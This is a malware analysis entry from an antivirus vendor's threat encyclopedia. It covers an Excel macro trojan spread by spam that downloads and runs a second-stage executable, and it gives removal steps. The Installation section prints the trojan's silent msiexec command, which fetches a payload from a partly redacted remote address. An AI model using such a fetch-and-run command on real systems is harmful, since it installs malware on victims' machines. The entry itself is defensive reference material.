Analysis by: Janus Agcaoili
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 SYSTEM IMPACT RATING:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

  TECHNICAL DETAILS

File Type: XLS
Memory Resident: No
Initial Samples Received Date: 24 Apr 2019

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

Installation

This Trojan adds the following processes:

  • msiexec.exe STOP=1 /i http://{BLOCKED}.{BLOCKED}.135.134/dom2 /q ksw='%TEMP%'

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}.{BLOCKED}.135.134/dom2

It saves the files it downloads using the following names:

  • %ProgramData%\f64a428dfd\cmualrc.exe

(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData in Windows Vista, 7, and 8.)

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 14.958.07
FIRST VSAPI PATTERN DATE: 24 Apr 2019
VSAPI OPR PATTERN File: 14.959.00
VSAPI OPR PATTERN Date: 25 Apr 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as Trojan.X97M.DLOADR.JHLC

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Remove malware/grayware files dropped/downloaded by Trojan.X97M.DLOADR.JHLC. (Note: Please skip this step if the threats listed below have already been removed.)

     
    • %ProgramData%\f64a428dfd\cmualrc.exe

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.X97M.DLOADR.JHLC. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 6

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


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